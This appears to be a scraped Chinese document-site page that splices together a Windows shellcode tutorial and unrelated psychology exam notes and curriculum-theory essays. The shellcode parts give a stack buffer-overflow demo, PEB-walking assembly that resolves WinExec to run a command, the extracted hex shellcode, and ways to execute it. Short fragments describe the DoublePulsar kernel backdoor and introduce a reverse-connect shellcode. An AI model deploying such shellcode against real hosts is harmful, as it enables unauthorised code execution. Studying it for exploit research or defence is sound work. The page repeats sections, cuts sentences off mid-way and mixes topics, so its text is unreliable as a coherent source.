Shellcode的原理及编写
1.shellcode原理
Shellcode实际是一段代码（也可以是填充数据），是用来发送到服务器利用特定漏洞的代码，一般可以获取权限。另外，Shellcode一般是作为数据发送给受攻击服务的。Shellcode 是溢出程序和蠕虫病毒的核心，提到它自然就会和漏洞联想在一起，毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode，因此掌握Shellcode编写技术就显得尤为重要。
如下链接是shellcode编写的基础，仅供参考
https://www.wendangku.net/doc/1a9751385.html,/uid-24917554-id-3506660.html
缓冲区溢出的shellcode很多了，这里重现下缓冲区溢出。
[cpp]view plaincopy
1.int fun(char *shellcode)
2.{
3.char str[4]="";//这里定义4个字节
4. strcpy(str,shellcode);//这两个shellcode如果超过4个字节，就会导致缓冲区
溢出
5. printf("%s",str);
6.return 1;
7.}
8.int main(int argc, char* argv[])
9.{
10.char str[]="aaaaaaaaaaaaaaaaaaa!";
11. fun(str);
12.return 0;
13.}
如上程序，会导致缓冲区溢出。
程序运行后截图如下
如上可以看出来，异常偏移是61616161，其实自己观察61616161其实就是aaaa的Hex 编码
因为调用函数的过程大致是
1：将参数从右到左压入堆栈
2：将下一条指令的地址压入堆栈
3：函数内部的临时变量申请
4：函数调用完成，退出
内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]
如上程序，如果函数内部变量空间比较小，执行strcpy时候，源字符串比目标字符串长，就会覆盖函数返回地址，导致程序流程变化
如图
0048FE44前四个00是str申请的四个字节的并初始化为00，后面的48FF1800是函数的返回地址，再后面的411E4000是ebp，既调用函数的基址。
再往下执行strcpy函数后，可以看见aaaaaaaa覆盖了返回地址
如图
可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。
fun函数执行完后，返回调用fun函数地址时候，导致程序报错。
缓冲区溢出的简单讲解如上，这时候，如果我们把返回地址改成我们自己的函数地址，不就可以执行我们自己的程序了？
缓冲区溢出利用就是把返回地址改成我们自己的函数地址，上面的方法就是覆盖eip，既返回地址，还有一种方法是覆盖SHE，原理差不多。
了解了基本原理，下面可以编写利用的代码
缓冲区溢出，基本的使用方法是jmp esp，覆盖的eip指针是jmp esp的地址，利用的字符串结构如下
[正常的字符串][jmp esp的地址][执行的代码(shellcode)]
关于获取jmp esp的代码，可以自己写个程序，从系统中查找jmp esp代码0xFFE4。
下面开始编写shellcode以及调用实现
[cpp]view plaincopy
1.void fun()
2.{
3. __asm
4. {
5. mov eax, dword ptr fs:[0x30];
6. mov eax, dword ptr [eax+0xC];
7. mov eax, dword ptr [eax+0xC];
8. mov eax, dword ptr [eax];
9. mov eax, dword ptr [eax];
10. mov eax, dword ptr [eax+0x18];
11. mov ebp,eax //Kernel.dll基址
12. mov eax,dword ptr ss:[ebp+3CH] // eax=PE首部
13. mov edx,dword ptr ds:[eax+ebp+78H] //
14. add edx,ebp // edx=引出表地址
15. mov ecx,dword ptr ds:[edx+18H] // ecx=导出函数个数，
NumberOfFunctions
16. mov ebx,dword ptr ds:[edx+20H] //
17. add ebx,ebp // ebx=函数名地址，
AddressOfName
18.start: //
19. dec ecx // 循环的开始
20. mov esi,dword ptr ds:[ebx+ecx*4] //
21. add esi,ebp //
22. mov eax,0x50746547 //
23. cmp dword ptr ds:[esi],eax // 比较PteG
24. jnz start //
25. mov eax,0x41636F72 //
26. cmp dword ptr ds:[esi+4],eax // 比较Acor，通过GetProcA几个字
符就能确定是GetProcAddress
27. jnz start //
28. mov ebx,dword ptr ds:[edx+24H] //
29. add ebx,ebp //
30. mov cx,word ptr ds:[ebx+ecx*2] //
31. mov ebx,dword ptr ds:[edx+1CH] //
32. add ebx,ebp //
33. mov eax,dword ptr ds:[ebx+ecx*4] //
34. add eax,ebp // eax 现在是GetProcAddress地
址
35. mov ebx,eax // GetProcAddress地址存入ebx，如
果写ShellCode的话以后还可以继续调用
36. push 0 //
37. push 0x636578 //
38. push 0x456E6957 // 构造WinExec字符串
39. push esp //
40. push ebp // ebp是kernel32.dll的基址
41. call ebx // 用GetProcAdress得到WinExec
地址
42. mov ebx,eax // WinExec地址保存到ecx
43.
44. push 0x00676966
45. push 0x6E6F6370
46. push 0x6920632F
47. push 0x20646d63 //cmd压入栈
48.
49. lea eax,[esp]; //取到cmd首地址
50. push 1 //
51. push eax // ASCII "cmd /c ipconfig"
52. call ebx // 执行WinExec
53.// leave // 跳回原始入口点
54. }
55.}
[cpp]view plaincopy
1.int main(int argc, char* argv[])
2.{
3. fun();
4.}
如果汇编代码在vc调试下，获取二进制代码如图:
查看00401A08的地址，可以看出是fun函数的汇编代码
shellcode代码基本获取到了，现在是要把他复制出来，
我取出来的后，如下
[cpp]view plaincopy
1.unsigned char shellcode[]={
2. 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0
x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,
3. 0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0
x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,
4. 0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0
x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,
5. 0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0
x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,
6. 0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0
xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,
7. 0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0
x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};
稍作了下加工，0x是HEX的方式。
下面是我们调用shellcode，看是否可以用
程序如下：
[cpp]view plaincopy
1.int main(int argc, char* argv[])
2.{
3. unsigned char shellcode[]={
4. 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0
x00,0x8B,0x00,0x8B,0x40,
5. 0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0
xD5,0x3E,0x8B,0x4A,0x18,
6. 0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0
xB8,0x47,0x65,0x74,0x50,
7. 0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0
x04,0x75,0xE4,0x3E,0x8B,
8. 0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0
x03,0xDD,0x3E,0x8B,0x04,
9. 0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0
x57,0x69,0x6E,0x45,0x54,
10. 0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0
x6F,0x6E,0x68,0x2F,0x63,
11. 0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0
xFF,0xD3};
12.//三种方式执行shellcode
13.//第一种
14. ((void (*)())&shellcode)(); // 执行shellcode
15.//第二种
16. __asm
17. {
18. lea eax,shellcode;
19. jmp eax;
20. }
21.//第三种
22. __asm
23. {
24. lea eax, shellcode
25. push eax
26. ret
27. }
28.}
至此，shellcode的编写完成了，如上这只是shellcode大致编写过程，是在windows下环境编写的，linux环境下的编写过程基本相同
至于更高级的利用，可以去看雪论坛逛逛。
说点shellcode
代码艺术，艺术，不得不让我想起shellcode，所以打算简单连载下shellcode的编写。 语言：c 编译环境： VC6.0 操作系统： windows XP 其实是win7虚拟机下跑的xp 看下面一个简单的程序 ,弹黑框程序 1.#include "windows.h" 2.#include "stdio.h" 3.int main() 4.{ 5.LoadLibrary("msvcrt.dll"); 6.system("cmd.exe"); 7.return 1; 8.} 因为system函数在msvcrt库中，所以在调用system函数前先加载该库。 那怎写一段shellcode实现上面弹框的功能呢？ 一般两种方式，一是利用汇编实现上述功能，然后提取出二进制指令代码。 另一种就是利用内联汇编（在c程序中嵌入汇编代码），然后提取，如下利用内联汇编实现弹框代码（笔者比较喜欢此种方式）1.#include "windows.h" 2. 3.int main() 4.{ 5.__asm 6.{ 7.call _LoadLibrary 8._emit 'm' 9._emit 's'
10._emit 'v' 11._emit 'c' 12._emit 'r' 13._emit 't' 14._emit '.' 15._emit 'd' 16._emit 'l' 17._emit 'l' 18._emit 0 //字符串结束标志 19._LoadLibrary: 20.mov eax，0x7c801d7b 21.call eax 22. 23.call _system 24._emit 'c' 25._emit 'm' 26._emit 'd' 27._emit '.' 28._emit 'e' 29._emit 'x' 30._emit 'e' 31._emit 0 32._system: 33.mov eax， 0x77bf93c7 34.call eax 35.} 36.return 1; 37.} 复制代码 运行此程序，即弹出cmd命令框(当然将system函数的参数改下，也可以弹出计算器，有兴趣的可以试下)，如下： 那这段代码是如何实现弹出cmd命令框的呢？写过c程序的人应该知道c中函数调用时参数由右到左逐个入栈的，参数入栈完毕后（这两个函数都只有一个参数），执行call指令，跳到要执行的函数处。 _emit伪指令的作用便是通知编译器直接在二进制文件中加入一个字符，以LoadlLibrary函数而言，参数为msvcrt.dll，将参数的所有字符逐个加到文件中，而前面一句call指令完成两个功能，一
生理心理学原理
1.人的心理现象极为复杂，它可以概括为心理过程和个性心理两大部分 2.1879年德国莱比锡大学的冯特《生理心理学原理》创立世界上第一个心理实验室，标志着心1.人的心理现象极为复杂，它可以概括为心理过程和个性心理两大部分 2.1879年德国莱比锡大学的冯特《生理心理学原理》创立世界上第一个心理实验室，标志着心理学成为一门独立的科学。行为主义心理学的创始人是美国的心理学家华生。个性心理是通过心理过程形成并表现出来的。人本主义心理学的代表人物是美国的马斯洛。 3.《心理实质》脑是心理的器官，心理上是脑的机能。客观现实是心理的源泉，心理是客观现实的反映。神经系统可分为周围神经系统和中枢神经系统。大脑皮层上有三条显著的沟裂，将大脑皮层分为四个区，称为叶，即：额叶、顶叶、枕叶、颞叶。大脑四个语言中枢：1视觉性语言中枢2听觉性3书写性4运动性。人的心理活动就其产生的方式来说都是反射。高级神经活动的基本过程包括兴奋过程和抑制过程。神经系统活动的基本过程是兴奋与抑制。条件反射的原理是由巴甫洛夫提出来的，心理现象就其产生方式是反射活动。神经元即神经细胞，他是组成整个神经系统的最大基本单位。由突体和突起组成。 4.、《注意》注意可以分为有意注意、无意注意和有意后注意三种，其基本特征是指向性、和集中性。注意的三种基本功能是选择功能、保持功能、调节和监督功能。与注意的稳定生相反的品质是分心。
5、《感觉》一般地可以把感觉分成外部感觉和内部感觉两大类，外部感觉有视觉、听、嗅和味觉。内部感觉有肤觉、内脏觉、平衡觉和运动觉。感觉是知觉的基础。根据知觉对象的特点，可以把知觉分为物体知觉和社会知觉。*知觉：是人脑对直接作用于感觉器官的客观事物的各个部分和属性的整体反映。知觉特征：1.整体性。2.选择性。 ④知觉的理解性⑤知觉的恒常性 错觉：在特定条件下对客观事物必然产生的、具有一定倾向性的歪曲的知觉（对于物的的） 1.视错觉2.形重错觉3.运动错觉4.时间错觉5.方位错觉（对于人的）1首因效应2近因3光环4刻板（效应）*知觉：是人脑对直接作用于感觉器官的客观事物的各个部分和属性的整体反映。特征：1.整体性。2.选择性。④知觉的理解性⑤知觉的恒常性 6.、《记忆》记忆的过程包括识记、保持、再认或重现三个基本环记忆表象具有直观性和概括性的特征。根据记忆的内容不同，可以把记忆分成四种：形象记忆、逻辑记忆、情绪记忆和运动记忆。记忆可分为三大系统：感觉记忆系统、短时记忆系统和长时记忆系统。根据有无预定的目的、任务，可以把识记分为无意识记和有意识记两种。知识巩固的方式：（一）实际策略——科学识记1.目的明确2.积极思考3.感官并用.4.动手操作5.内容适量.6过度学习二：（保持策略——科学复习1及时复习与经常复习结合2集中复习与分散复习结合3反复阅读与尝试回忆结合4复习的方式要多样化5科学用脑劳逸结合）
Shellcode的原理及编写
1.shellcode原理 Shellcode实际是一段代码（也可以是填充数据），是用来发送到服务器利用特定漏洞的代码，一般可以获取权限。另外，Shellcode一般是作为数据发送给受攻击服务的。Shellcode 是溢出程序和蠕虫病毒的核心，提到它自然就会和漏洞联想在一起，毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode，因此掌握Shellcode编写技术就显得尤为重要。 如下链接是shellcode编写的基础，仅供参考 https://www.wendangku.net/doc/1a9751385.html,/uid-24917554-id-3506660.html 缓冲区溢出的shellcode很多了，这里重现下缓冲区溢出。 [cpp]view plaincopy 1.int fun(char *shellcode) 2.{ 3.char str[4]="";//这里定义4个字节 4. strcpy(str,shellcode);//这两个shellcode如果超过4个字节，就会导致缓冲区 溢出 5. printf("%s",str); 6.return 1; 7.} 8.int main(int argc, char* argv[]) 9.{ 10.char str[]="aaaaaaaaaaaaaaaaaaa!"; 11. fun(str); 12.return 0; 13.} 如上程序，会导致缓冲区溢出。 程序运行后截图如下
心理学原理综合复习题
心理学原理综合复习题 一、名词解释 意识、注意、知觉、近因效应、社会刻板效应、学习、功能固着、气质、信度、效度、动机、从众、人格、应激、认知方式、社会助长、群体极化、去个体化、服从、挫折、心理健康、焦虑。 二、选择 1、鲁迅曾说:"横眉冷对千夫指,俯首甘为稿子牛。这句话说明了人格的： A复杂性 B稳定性 C统合性D 独特性 2、俗话说:"江山易改,禀性难移。"这句话说明了人格的: A复杂性 B稳定性 C复杂性D 独特性 3、"人心不同,各如其面",这句俗语为人格的: 作了最好的诠释。稳定性统合性 复杂性 B稳定性 C统合性D 独特性 4、,闻到饭菜香味,推断妈妈在厨房、根据手边的各种资料推测火星上的状况。这是思维什么特征： 1.间接性2. 概括性直接性抽象性 5、有自觉目的，但不需要意志努力的注意是：Ａ有意注意Ｂ有意后注意Ｃ无意注意 ６、间接兴趣是引起：的原因 Ａ无意注意Ｂ有意注意Ｃ有意后注意 ７、一天某天新转来一个同学，大家都很自然地把目光集中到他身上，这种注意属于：Ａ无意注意Ｂ有意注意Ｃ有意后注意 ８、在同时进行几项活动时，一个人能自如地把注意指向不同的对象上，这是：Ａ注意的分配好Ｂ注意的范围大Ｃ注意的转移快 ９、广义的注意稳定性是指：Ａ注意维持在同一活动上的时间Ｂ注意维持在同一对象上的时间ＣＡＢ都是。 １０、入室之兰，久而不闻其香，入鲍之肆，久而不闻其臭：这是指嗅觉的：（） Ａ适应现象Ｂ泛化现象Ｃ对比现象Ｄ分化现象 １１、绝对感受性和绝对感受阈限在数量上成（） Ａ反比关系Ｂ正比关系Ｃ毫无关系 １２、将一根据木棒的斜入水中，看起来木棒弯曲了，这是（）Ａ感觉Ｂ错觉Ｃ动觉 １３、“看其所知，不看其所见”表明知觉具有（）Ａ整体性Ｂ恒常性Ｃ选择性 １４、识记、保持、再认、重现是：Ａ彼此联系的统一的记忆过程Ｂ相对独立的过程Ｃ相互割立的矛盾的记忆过程 １５、路遇一人，似曾相识，或者只识其面目而叫不出姓名，这是：Ａ不完全的再认Ｂ暂时遗忘Ｃ永久性遗忘 16、“触景生情”用心理学原理来解释是指：Ａ复习要及时Ｂ无意回忆Ｃ联想的作用 ｀德国心理学家艾宾浩斯的遗忘曲线表明，遗忘的进程是：Ａ均衡的Ｂ稳步前进的Ｃ不均衡的 17、提高记忆效率，扩大短时记忆容量最重要的方法是Ａ复述Ｂ加大记忆组块Ｃ避免由于干扰而造成的遗忘Ｄ把记忆单元化小
《心理学原理》模拟题及参考答案
《心理学原理》模拟题及参考答案 一、名词解释（每题4分共20分） 1.知觉 2. 近因效应 3. 心理定势 4. 社会助长 5.群体极化 二、判断对错并对错误的加以改正（每题4分，共6题24分） 1. 注意就是意识。 2. 感觉阈限越低,感受性越低。 3. 适应指的是在剌激物持续作用下感受性发生的变化，适应提高了感受性。 4.知觉是个别感觉信息的简单总和。 5. 心理上开放、灵活的人容易受首因效应的影响，而心理上保持高度一致,具有稳定倾向的人，容易受近因效应的影响。 6．接受学习就是机械的，发现学习就是意义的。 三、简答（每题8分，共4题32分） 1．简述注意的特点和功能。 2．简述社会认知过程中信息整合的特点。 3．简述斯皮尔曼的智力二因素说。 4、简述格式塔原则主要内容。 四、论述题（每题12分，共2题24分） 1.试述加德纳的多元智力理论及其对教育的启示. 2．什么是群体思维？如何防止群体思维所带来的不良影响？ 参考答案 一、名词解释
1.知觉是人脑对直接作用于感觉器官的客观事物的各个部分和属性的整体的反映。 2.近因效应指在总体印象形成过程中,新近获得的信息比原来获得的信息影响更大的现象. 3.心理定势:坚持使用原有已证明有效的方法解决新问题的心理倾向,称为心向或心理定势。 4.社会助长是指个体与别人在一起活动或有别人在场时,个体的行为效率提高的现象。 5.群体极化:是指群体成员中原已存在的倾向性,通过群体的作用而得到加强,使一种观点或态度从原来的群体平均水平加强到具有支配性水平的现象。 二、判断对错并对错误的加以改正 1.注意就是意识。 错。注意是心理活动或意识在某一时刻所处状态,表现为对一定对象的指向与集中，是心理活动 意识是人类所独有的一种高水平的心理活动,指个人运用感觉、知觉、思维、记忆等心理活动,对自己内在的身心状态和环境中外在的人、事、物变化的觉知，是心理内容或体验。2.感觉阈限越低,感受性越低。 错。感觉阈限指人感到某个刺激存在或刺激发生变化所需刺激强度的临界值，感觉阈限越低,感受性越高。 3.适应指的是在剌激物持续作用下感受性发生的变化，适应提高了感受性。 错。既可提高感受性，也可降低感受性。 4.知觉是个别感觉信息的简单总和。 错。知觉是人脑对直接作用于感觉器官的客观事物的各个部分和属性的整体的反映。 5.心理上开放、灵活的人容易受首因效应的影响，而心理上保持高度一致,具有稳定倾向的人，容易受近因效应的影响。 错。心理上开放灵活的人容易受近因效应的影响，而心理上保持高度一致,具有稳定倾向的人，容易受首效应的影响。 6．接受学习就是机械的，发现学习就是意义的。 错。接受学习和发现既可以是机械的也可以是意义的，两者也并不对立。 三、简答 1.简述注意的特点和功能。 注意具有指向性和集中性特点；
Shellcode指南
Shellcode 目录 1: 概述和工具 (1) 1.1 概述 (1) 1.2 Windows与Linux的Shellcode 有什么不同？ (2) 1.3 建立环境 (2) 1.4 其他工具 (4) 1.4.1 Metasploit (4) 1.4.2 OllyDbg 1.10 (4) 1.4.3 lcc-win32 (4) 2. 我的第一个shellcode (4) 2.1 说明 (4) 2.2 怎样从windows DLL里发现要使用的函数地址 (5) 2.3 汇编代码 (6) 2.4 编译汇编代码 (7) 2.5 获取shellcode (7) 2.6 测试shellcode (8) 3. 怎么在汇编里使用字符串 (9) 4. 函数Hash表 (10) 4.1 概述 (10) 4.2 目标 (10) 4.3 使用OllyDbg运行分析shellcode (14) 5. 动态Shellcode (18) 5.1 目标 (18) 5.2 建立函数Hash表 (18) 1: 概述和工具 1.1 概述 The assembly tutorials contained within this site are aimed towards creating assembly code in the aim to get you ready to create your own assembly and shellcode - which would hopefully be included with the "Project Shellcode Development Framework".
泰勒的课程理论教学内容
专题1 泰勒的课程论教育 泰勒：美国著名教育学家、课程理论专家、评价理论专家。他是现代课程理论的重要奠基者，是科学化课程开发理论的集大成者。“当代教育评价之父”、“现代课程理论之父”《课程与教学的基本原理》被誉为“现代课程理论的圣经”。 “泰勒原理”的基本内容是围绕四个基本问题的讨论展开的： 第一，学校应该达到哪些教育目标？ 第二，提供哪些教育经验才能实现这些目标？ 第三，怎样才能有效组织这些教育经验？ 第四，我们怎样才能确定这些目标正在得到实现？ 这四个基本问题可进一步归纳为“确定教育目标”、“选择教育经验”、“组织教育经验”、“评价教育计划”，这就是“泰勒原理”的基本内容。泰勒的研究，围绕着解决这些问题的方法和程序进行，他对于每个问题分别从教育的实际状况进行了分析，提出主要问题所在，然后进一步提出解决问题的思路和方法。 （一）学校应该达到哪些教育目标？ 在泰勒看来，确定教育目标是课程开发的出发点。课程开发的整个过程都决定于预定的教育目标，目标是课程的灵魂。 1．目标的三个来源 （1）对学习者自身的研究。教育目标表征着教育机构试图在学生身上所引起变化，因此，对学习者自身的研究自然是确认这种变化的前提。泰勒认为，对学习者的研究是经由两个步骤实现的：一是了解学生的现状；二是把学生的现状与可接受的常模作比较，从中找出差距。这种差距既是学生的需要，也是教育的需要，也即教育所要达成的目标。 （2）对当代生活的研究。对当代生活的研究之所以成为教育目标的来源，这是由现代社会的特点决定的。工业革命之后适应数量的迅速增长，使得教育目标已不能再局限于原来的文化遗产。为使学生适应社会变化和为成人生活作准备，学校必须把精力放在当代社会生活中最重要的方面。 怎样通过分析当代生活确定教育目标？总结泰勒的论述，可以得到如下建议：一是通过“工作分析”和“活动分析”等方法，分析出复杂的当代生活的决定性及其中的重要方面；二是通过分析当代生活，揭示出使学生有机会在其中运用的知识领域；三是致力于使学生理智地理解当代生活问题中的基本原理；四是研究当代生活以确定教育目标的方向时，要考虑特定年龄阶段儿童的需要与兴趣；五是通过研究当代生活所制定的教育目标，要经过可接受的教育哲学的选择。 （3）学科专家的建议。把学科专家作为教育目标的来源，是一般学校和学院通用的做法，也是被普遍接受的观点。但是许多人批评由学科专家建议的教育目标太过专门化、专业化，在许多方面对大多数的学生是不合适的。因此泰勒指出，学科专家在建议目标时必须考虑：你这门学科对哪些不打算成为该学科领域专家的学生的教育能作出什么贡献？你这门学科对外行和一般公民有何价值？ 2．两个筛选器 从上述三个所得到的教育目标，其数量必然是极为可观的，而学校教育所指向的目标只能是少数的。为此，泰勒提出“我们必须对已经获得的大量庞杂的目标进行筛选，以便剔除那些不重要的和互相矛盾的目标。”根据什么进行筛选呢？泰勒提出了两个筛选器：一是教育和社会哲学；二是学习心理学。 （1）教育和社会哲学 泰勒认为，每一个社区、每一所学校都有其独特的哲学价值观。即关于什么是良好的教育、什么是良好的生活、什么是良好的社会的界定。这种哲学可以用来检验所建议的每一项教育
泰勒的+课程与教学的基本原理+
泰勒的《课程与教学的基本原理》 拉尔夫·泰勒于1949 年出版了《课程与教学的基本原理》。该书详细说明了课程编制的一般原理,并围绕四个问题展开论述: 学校应该达到哪些教育目标? 提供哪些教育经验才能实现这些目标? 怎样才能有效地组织这些教育经验? 我们怎样才能确保这些目标正在得到实现? 如图1表示。泰勒指出, 这些原理并不能回答实际中所存在的种种问题,但它通过对以上四个问题回答的程序的阐释, 本身就构成了课程与教学各种问题的基本原理。 一、学校应该达到哪些教育目标 泰勒指出, 任何单一的信息来源, 都不足以为明智而又全面地选择学校教育目标提供基础。因此, 在设计一项全面的课程计划时, 应该对信息的每一种来源都给予考虑。关于教育目标的来源可用图2来表示。 从图2 可以看出教育目标主要有以下三个来源:
来源一:对学习者本身的研究泰勒指出, 教育是一种改变人的行为方式的过程。这个行为是从广义上说的,既包括外显的行为,也包括思维和情感。因此,当人们以这种方式来看待教育时,教育目标显然代表着教育机构寻求使学习者发生的各种行为变化。故对学习者本身的研究，就是要找出确定教育机构想要产生所需要的学生行为方式的变化。对于如何才能从对学习者的研究中提示出教育目标的问题，泰勒指出，只有把有关学习者的信息与某些理想的标准以及对公认常模的某些看法进行比较，从而确认学习者目前的状况与公认的常模之间的差别时，对学习者的研究才可能提示出教育目标。这种差别就是通常所讲的“需要”。 来源二:对校外当代生活的研究工业革命促进了科学技术的迅猛发展, 学校要在课程中包容所有有用的知识、技能已不再可能，因此根据对社会生活的意义来选择知识、技能就摆到议事日程上来了。泰勒认为，由于社会生活千变万化，因而学校就有必要把精力放在当代社会生活中最重要的方面。在对校外生活进行研究时，就像在对学习者进行研究时一样，必须把生活分成各个不同的方面，以便对各个领域进行调查。在对生活进行研究时应该包括个体生活和群体生活。因为只有通过自己收集和分析资料的样本，才能最好地了解对当代生活进行研究的潜在价值。泰勒建议要收集若干种样本信息。 来源三:学科专家对目标的建议教育目标的这一来源，是一般学校和学院常用的，他们所用的教科书通常是由学科专家编写的，而且基本上反映了其意见。也有许多人批评利用学科专家来制定教育目标，认为他们提出的目标太专门化和专业化，或在其他方面对大多数在校生不适宜,但是，他们
内核级后门“DoublePulsar”分析报告
内核级后门“DoublePulsar”分析报告 在Shadow Brokers组织泄露的NSA方程式工具中，DoublePulsar是一个无文件型的内核后门程序。值得注意的是，DoublePulsar同时使用了终端和网络的高级逃逸技术。首先它是一个无文件型的内核级别后门，被控制端的主机防护软件通常无法有效检测；其次它与被控制端的通讯使用正常协议进行伪装（SMB或者RDP协议），可逃逸常见的网络防护产品。 具体地，某些漏洞工具（EternalBlue、EternalRomance等）攻击成功后会篡改srv.sys 中SrvTransaction2DispatchTable表的第14项指针，从而在srv.sys中安装一个后门。而原始的SrvTransaction2DispatchTable表第14项指针指向的是SrvTransactionNotImplemented函数，在处理SMB协议的SMB_COM_TRANSACTION2消息时，会使用到该函数。这样DoublePulsar就可以与被控制机器通过特定的 SMB_COM_TRANSACTION2消息建立隐蔽信道，并执行相应攻击操作。 技术分析 1.在后门被成功安装前，查看SrvTransaction2DispatchTable表，可以发现该表第14项指向的为SrvTransactionNotImplemented函数。 2.后门安装成功后，SrvTransaction2DispatchTable表中的第14项便被修改。
修改后的函数如下： 3.DoublePulsar主要有以下几个功能： 4.以上功能在代码中都对应不同的处理方法，主要处理流程如下：
如何利用记忆心理学原理(上)
如何利用记忆心理学原理（上） 大脑不是容器，而是一条记忆流水线；重启用户记忆的大门，创造利于用户体验的记忆炼金术。 我们日常生活中最重要的信息处理器，是看不见摸不着的，它无法买卖或从别人那里索取，但是它可以通过许多方式来提升和加强，这种东西难以描述，却是人类最宝贵的特征之一，它可能决定了我们的每一步行动和每一次决策，它是一种奇迹，我们却很少深入思考它，这就是人类的记忆。 一、我们的大脑是如何工作的呢？ 人类社会的高速发展，巨大变革，海量知识积累让每个人都必须不断学习、决策、思考、创新和创造，这就要求我们学习效率大幅提高，但我们的大脑的物理构造制约了学习的进度，只有了解了大脑的工作方式才能改进学习方法，从而高效获取更多信息；我们的大脑是如何工作的呢？随着社会节奏的加快，越来越多的人采取“多线程作业”，比如一边参加会议一边读邮件，最新的科学研究显示，如果同时做几件事会降低效率；研究发现大脑反应的过程是线性的，从一个任务切换到另一个任务，会有反应延迟，而且任务越困难延迟越大，人类有1000亿神经元，还无法做到同时做两件事嘛？回答是肯定的！ 1、我们的大脑是如何记忆的？ 神经学家已经用磁共振成像技术证实了短期记忆，长期记忆，认知过载等猜想的存在；研究发现人类的记忆有三种类型：感觉记忆、工作记忆、和长期记忆。 （1）工作记忆 工作记忆是进行思考的地方，维持时间是秒为单位，工作记忆是双重编码系统，由负责语言/文字处理的缓存单元和负责视觉/空间处理的缓存单元组成，这就导致了人类思考过程中的一个严重瓶颈，因为视觉/空间缓存中的短期记忆只能同时存储4个对象，而语言/文字短期记忆中也只能存7个对象，如果这些缓存中已经被存满，而思考主体又切换了注意力，将会导致新的元素进入工作记忆，其余的记忆就会消失；在工作记忆中，语言处理单元和视觉处理单元一起工作，互不干扰，共同实现对信息的理解和推导。 （2）感觉记忆 感觉记忆是保存时间最短的记忆，感觉记忆虽然每时每刻所采集到的信息量巨大，但是保存的时间非常短（0.25秒到4秒），所以过去又叫瞬时记忆，尽管遗忘的很快，但你还
利用hash值取得函数地址的connect back shellcode
主页 安全文档 安全工具 安全漏洞 漏洞利用 红盟作品 开放项目 红盟社 区 关于我们 递交作品 作品总数: 38 个 本类作品: 19 个 关键字所有分类搜索快速通道 软件作品 文档作品 代码作品 <= 文档分类 Windows RPC DCOM DoS exploit Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem... Mysql 3.23.x/ 4.0.x remote exploit download url file shellcode for win2k/xp 利用hash 值取得函数地 址的connect back shellcode. 分析理解 elf 文件并且自动编排 shellcode 的程序 推荐作品 提交作品： lion 提交日期： 2003-09-17 作品属性： 推荐 文档类别： 代码作品 浏览次数： 今9次/总6234次 /****************************************************************** 作者: lion, lion@https://www.wendangku.net/doc/1a9751385.html, 日期: 2003-09-17 网站: https://www.wendangku.net/doc/1a9751385.html, 此shellcode 特点: a. 通过peb 取得kernel32.dll 地址 b. 通过函数的hash 值来进行比较,代替GetProcAddress 取得函数地址 c. 反连接功能 d. win2000/xp 测试成功 参考资料: https://www.wendangku.net/doc/1a9751385.html,/documents/winasm-1.0.1.pdf https://www.wendangku.net/doc/1a9751385.html,/sc/win32_reverse.asm ******************************************************************* #include
泰勒的课程理论
